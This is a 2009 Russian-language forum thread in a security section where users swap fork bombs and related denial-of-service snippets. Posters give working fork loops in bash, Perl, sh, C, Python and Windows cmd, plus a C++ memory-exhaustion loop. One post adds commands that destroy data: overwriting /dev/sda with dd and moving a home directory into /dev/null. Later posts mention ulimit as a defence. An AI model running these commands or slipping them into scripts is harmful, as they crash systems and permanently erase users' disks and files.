форк-бомбы

Discussion in 'Безопасность и Анонимность' started by jawbreaker, 4 Mar 2009.

  1. jawbreaker

    jawbreaker Elder - Старейшина

    Joined:
    7 Jul 2008
    Messages:
    156
    Likes Received:
    76
    Reputations:
    3
    Винду можно повесить bat-файлом, чтобы сделать то же в линуксе нужно воспользоваться форк-бомбой(последствия запуска могут быть самыми плачевными). Вот примеры некоторых из них:

    Не уверен не запускай!

    1) bash
    Code:
    :(){ :|:&};:
    2)perl
    Code:
    $ perl -MPOSIX -e '$pid=fork; exit if $pid; setid; fork while(1)'
    3)sh
    Code:
    $ echo '. ./_&. ./_'>_;. ./_
    или создаем файлик с таким содержимым и (не)запускаем его
    Code:
    #!/bin/sh
    $0 & $0 &
    Предлагайте ещё варианты ^_^
     
  2. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Повесить винду множественными радиректами и выполнениями (загрузкоц ЦП) функция нп пхп и т.д. =)
     
    1 person likes this.
  3. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    417
    Likes Received:
    32
    Reputations:
    1
    Мож я делаю что то не так? Или это уже все залатали? :)

    Пробовал 1 и 3 ий варианты . Ни чего не произошло. Отсальные впадло писать :)

    uname -a
    Linux localhost.localdomain 2.6.27.15-78.2.23.fc9.x86_64 #1 SMP Wed Feb 11 23:11:11 EST 2009 x86_64 x86_64 x86_64 GNU/Linux

    ЗЫ
    Добавлю (выявил сегодня утром):
    Эта гадость забила мне весь bash_history юзера из под которого запускал форк-бомбы своим дерьмом :) других неудобств вроде не замечено
     
    #3 tmp, 5 Mar 2009
    Last edited: 5 Mar 2009
    1 person likes this.
  4. jawbreaker

    jawbreaker Elder - Старейшина

    Joined:
    7 Jul 2008
    Messages:
    156
    Likes Received:
    76
    Reputations:
    3
    Наверное это на новых кернелах.
    На
    Code:
    Linux 2.6.21.5-smp #2 SMP Tue Jun 19 14:58:11 CDT 2007 i686 Intel(R) Celeron(R) CPU 2.00GHz GenuineIntel GNU/Linux
    мне пришлось нажать резет.
     
  5. betakley

    betakley Member

    Joined:
    29 Dec 2008
    Messages:
    18
    Likes Received:
    7
    Reputations:
    0
    4) С
    Code:
    #include <unistd.h>
    int main()
    {
      while(1)
        fork();
    }
    
    5) Python
    Code:
    import os
    while(1):
      os.fork()
    
     
  6. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    на 2 ядрах бесполезно....
    да и интерпретатор быстрей повиснет чем система
     
    2 people like this.
  7. delux

    delux Elder - Старейшина

    Joined:
    11 Jun 2008
    Messages:
    29
    Likes Received:
    9
    Reputations:
    4
    rкопирайты на википедию хоть бы закинул
    не раз уже читали
    под_венду.cmd
    %0|%0
     
  8. tux

    tux Elder - Старейшина

    Joined:
    26 Mar 2009
    Messages:
    423
    Likes Received:
    231
    Reputations:
    67
    Форк бомбы на сегодняшний день малоэффективны. Ибо можно простой опцией ограничить кол-во порожденных процессов. Кстати, как и память, которую может забрать процесс. Под никсами, разумеется.
     
  9. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    народ а форк бомбы это тольео на загрузку проца ? а какже память ?
    #include <iostream>
    int main (){
    while(1) char *a=new char[1024];
    }
    пару секунд и из 2г оперытивки и 1 гиг подкачки улетели, система почти умерла.
    Оживил только тем что оставил активной консоль и там ctr+C и то несразу сработало. Так некто немешает сделать свой обработчик сигналов.
    Если невтему извеняйте.
     
  10. tux

    tux Elder - Старейшина

    Joined:
    26 Mar 2009
    Messages:
    423
    Likes Received:
    231
    Reputations:
    67
    http://webtools.live2support.com/linux/ulimit.php
    При правильной настройке "форки" идут лесом.
    Тут про то же по-русски. Правда, немного.
     
    #10 tux, 1 May 2009
    Last edited: 1 May 2009
  11. igorf()x

    igorf()x Elder - Старейшина

    Joined:
    17 Oct 2007
    Messages:
    138
    Likes Received:
    52
    Reputations:
    5
    dd if=/dev/urandom of=/dev/sda

    mv /home/my_home_directory/* /dev/null

    какая_нибудь_команда > /dev/sda

    Это не форк бомбы но тоже вредно.
     
  12. tux

    tux Elder - Старейшина

    Joined:
    26 Mar 2009
    Messages:
    423
    Likes Received:
    231
    Reputations:
    67
    Рут тут нужен. Кроме удаления файлов домашнего каталога.
    Ты бы еще патч Бармина привел. :D
     
    #12 tux, 5 May 2009
    Last edited: 5 May 2009